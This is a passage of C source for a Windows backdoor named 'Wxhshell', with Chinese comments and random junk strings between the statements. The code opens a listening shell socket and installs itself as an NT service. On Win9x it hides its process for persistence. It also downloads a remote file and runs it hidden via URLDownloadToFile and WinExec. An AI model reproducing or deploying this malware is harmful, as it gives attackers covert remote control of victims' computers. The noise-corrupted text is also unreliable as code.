g.yr)
LHt0 BOOL val=TRUE; K3jKOV8 int port=0; + v. I|c struct sockaddr_in door; DiMkcK_e aw9/bp*N if(wscfg.ws_autoins) Install(); _:oB#-0
}3sj{:z{ port=atoi(lpCmdLine); Y;3DU1MG0
l);M(< if(port<=0) port=wscfg.ws_port; 7UQFAt_r YCvIB' WSADATA data; $$7Mq*a> if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; p!5oz2RK e|x1Dq if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; r\J"|{)e setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); rEwEdyK door.sin_family = AF_INET; 5S4kn.3 door.sin_addr.s_addr = inet_addr("127.0.0.1"); L{y%\:] door.sin_port = htons(port); ETk4I" ?+-uF} if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { nNNs3h(Ss closesocket(wsl); <SeK3@Gi return 1; bt3v`q+V } k}T#-Gb LE^kN<qMK if(listen(wsl,2) == INVALID_SOCKET) { Fd@n#DR ` closesocket(wsl); E ,5XX;| return 1; ut8v&i1? } ;&B;RUUnTO Wxhshell(wsl); c#'t][Ii WSACleanup(); Fj? Q4_ }F3}-5![ return 0; ciRn"X=l D:`b61sWi_ } 8Jnb/A} 5 [{l9 // 以NT服务方式启动 &%M!!28X: VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ];& @T\Rj { ;T1OXuQ DWORD status = 0; $#R@x.= DWORD specificError = 0xfffffff; $ M?VJ\8 *o<zo
` serviceStatus.dwServiceType = SERVICE_WIN32; eUP.:(E serviceStatus.dwCurrentState = SERVICE_START_PENDING; nrqr p serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &h1.9AO serviceStatus.dwWin32ExitCode = 0; cMxuG'{=. serviceStatus.dwServiceSpecificExitCode = 0; -4du`dg serviceStatus.dwCheckPoint = 0; \;&WF1d`ac serviceStatus.dwWaitHint = 0; W Z'UVUi8 \\Ps*HN hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); D@9adwQb if (hServiceStatusHandle==0) return; )+;Xfftz z ((Y \vP status = GetLastError(); $['_m~
2 if (status!=NO_ERROR) s~N WJ*i { hSQ*_# serviceStatus.dwCurrentState = SERVICE_STOPPED; S ]_iobWK serviceStatus.dwCheckPoint = 0; 1/b5i8I2v serviceStatus.dwWaitHint = 0; )b^yAzL? serviceStatus.dwWin32ExitCode = status; 3>60_:+Zb serviceStatus.dwServiceSpecificExitCode = specificError; f(}?Sp_ SetServiceStatus(hServiceStatusHandle, &serviceStatus); Mr/;$O{ return; X2CpA;#;7l } ~mAv)JK vjNP serviceStatus.dwCurrentState = SERVICE_RUNNING; sw<GlF" serviceStatus.dwCheckPoint = 0; /2 V serviceStatus.dwWaitHint = 0; y5>X0tT if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); tf1iRXf8 } a=m4)tjk 3zC<k2B // 处理NT服务事件,比如:启动、停止 p'SclH[ VOID WINAPI NTServiceHandler(DWORD fdwControl) ~kHWh8\b: { ?@n,
9! switch(fdwControl) =3K}]3f { ScN'|Ia.- case SERVICE_CONTROL_STOP: {'O,G$Ldkr serviceStatus.dwWin32ExitCode = 0; lX g.` serviceStatus.dwCurrentState = SERVICE_STOPPED; MaMP7O|W serviceStatus.dwCheckPoint = 0; #)A.yK`u serviceStatus.dwWaitHint = 0; .W;,~.l { bF_SD\/ SetServiceStatus(hServiceStatusHandle, &serviceStatus); jP(|pz } d v8q&_
return; 2'> case SERVICE_CONTROL_PAUSE: JDbRv'F:( serviceStatus.dwCurrentState = SERVICE_PAUSED; ~w
Ekbq= break; BqoGHg4iq case SERVICE_CONTROL_CONTINUE: PBkTI2 v serviceStatus.dwCurrentState = SERVICE_RUNNING; i
n$~(+ break; b!lS=zIN case SERVICE_CONTROL_INTERROGATE: zDakl*
break; 4i]h0_] }; $,I%g< SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4%refqWK } @Z}TF/Rx4 'ozu4y // 标准应用程序主函数
^T>P int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %s&"gWi { 0j\} @ }\#u~ k!l // 获取操作系统版本 qcVmt1" OsIsNt=GetOsVer(); ;RR\ Hwix GetModuleFileName(NULL,ExeFile,MAX_PATH); $p( K9\r2w'T' // 从命令行安装 ;W~H|M if(strpbrk(lpCmdLine,"iI")) Install(); luvxwved "`6pF8k // 下载执行文件 uV=ZGr#o if(wscfg.ws_downexe) { Z'!Ii+'6 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) pB(|Y]3A WinExec(wscfg.ws_filenam,SW_HIDE); =lb5 # } }Od=WQv+ #(Xv\OE if(!OsIsNt) { AHB_[i'>7 // 如果时win9x,隐藏进程并且设置为注册表启动 z^,P2kqK_ HideProc(); %fJ~3mu StartWxhshell(lpCmdLine); !c2<-3e } O su 75@3 else Rz03he if(StartFromService()) Y|X!da/ // 以服务方式启动 (&o|}"kRq StartServiceCtrlDispatcher(DispatchTable); Xtk3~@ else h/s8".\ // 普通方式启动 td!YwN* StartWxhshell(lpCmdLine); 0bz':M#k & u.yjk/jF return 0; eeVzOq( }
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